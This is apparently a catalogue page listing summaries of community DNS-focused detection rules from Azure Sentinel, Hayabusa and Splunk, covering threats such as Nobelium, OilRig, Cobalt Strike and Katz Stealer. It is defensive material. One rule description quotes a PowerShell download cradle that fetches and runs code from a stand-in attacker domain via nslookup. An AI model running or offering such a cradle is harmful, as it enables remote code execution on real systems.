Detections

Explore public detection logic contributed by the community across SIEM and rule languages.

581 detections

'This creates an incident in the event a client generates excessive amounts of DNS queries for non-existent domains.
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM DNS schema'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
2067
'Identifies IP addresses performing DNS lookups associated with common ToR proxies.
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM DNS schema'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
4065
'This query helps identify rare DNS connections and resulting data transfer to/from the associated domain. It can help identify unexpected large data transfers to or from internal systems which may indicate data exfil or malicious tool download.'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
1063
Detects OilRig activity as reported by Nyotron in their March 2018 report
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
009
'Matches domain name IOCs related to Forest Blizzard group activity published July 2019 with CommonSecurityLog, DnsEvents and VMConnection dataTypes.
References: https://blogs.microsoft.com/on-the-issues/2019/07/17/new-cyberthreats-require-new-ways-to-protect-democracy/.'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
1060
Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
008
'Identifies a match across various data feeds for hashes and IP IOC related to Europium
Reference: https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
0049
'Identifies a match across various data feeds for domains, hashes and IP IOC related to Mercury
Reference: https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
0048
Looks for a logon domain in the Microsoft Entra ID logs, encoded with the same DGA encoding used in the Nobelium campaign.
See Important steps for customers to protect themselves from recent nation-state cyberattacks for more on the Nobelium campaign (formerly known as Solorigate).
This query is inspired by an Azure Sentinel detection.
References:
https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Hunting%20Queries/DnsEvents/Solorigate-Encoded-Domain-URL.yaml
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
1047
'Identifies IP addresses that may be performing DNS lookups associated with common currency mining pools.
This analytic rule uses [ASIM](https://aka.ms/AboutASIM) and supports any built-in or custom source that supports the ASIM DNS schema'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
0047
Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
007
This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
007
'Identifies a match across various data feeds for domains related to an actor tracked by Microsoft as Star Blizzard.'
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
1039
Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
006
The analytic detects a suspicious process making DNS queries to known, abused web services such as text-paste sites, VoIP, secure tunneling, instant messaging, and digital distribution platforms. This detection leverages Sysmon logs with Event ID 22, focusing on specific query names. This activity is significant as it may indicate an adversary attempting to download malicious files, a common initial access technique. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the target host.
Splunk Security@SplunkSecurity
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Splunk Security Content
1 year ago
0033
Device Network Events Involving Low Count FQDNs.
This query reduces network events to only those with the RemoteURL column populated,.
Then parses the DNS name from the URL (if needed) and finds the least prevalent.
FQDNs. The result is then joined with DeviceNetworkEvents to highlight anomalous.
Network communication.
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
0031
This query looks for the DGA pattern of the domain associated with the Nobelium campaign, in order to find other domains with the same activity pattern.
This query is inspired by an Azure Sentinel detection.
Reference - https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Hunting%20Queries/DnsEvents/Solorigate-DNS-Pattern.yaml
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
1030
This query was originally published in the threat analytics report, Solorigate supply chain attack. Please note that these attacks are currently known as the Nobelium campaign.
Microsoft detects the 2020 SolarWinds supply chain attack implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as Solorigate.
Nobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.
The following query detects events when Nobelium received a DNS response after launching a lookup request to known command-and-control infrastructure.
More Nobelium-related queries can be found listed under the See also section of this document.
References:
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
Azure Sentinel@AzureSentinel
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AzureSentinel
1 year ago
1028
Detects DNS queries to domains commonly used by threat actors to host malware payloads or redirect through URL shorteners.
These include platforms like Cloudflare Workers, TryCloudflare, InfinityFree, and URL shorteners such as tinyurl and lihi.cc.
Such DNS activity can indicate potential delivery or command-and-control communication attempts.
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
004
Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
004
Detects DNS queries to domains associated with Katz Stealer malware.
Katz Stealer is a malware variant that is known to be used for stealing sensitive information from compromised systems.
In Enterprise environments, DNS queries to these domains may indicate potential malicious activity or compromise.
Yamato Security Hayabusa@YamatoSecurityHayabusa
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Yamato Security Hayabusa Rules
1 year ago
004
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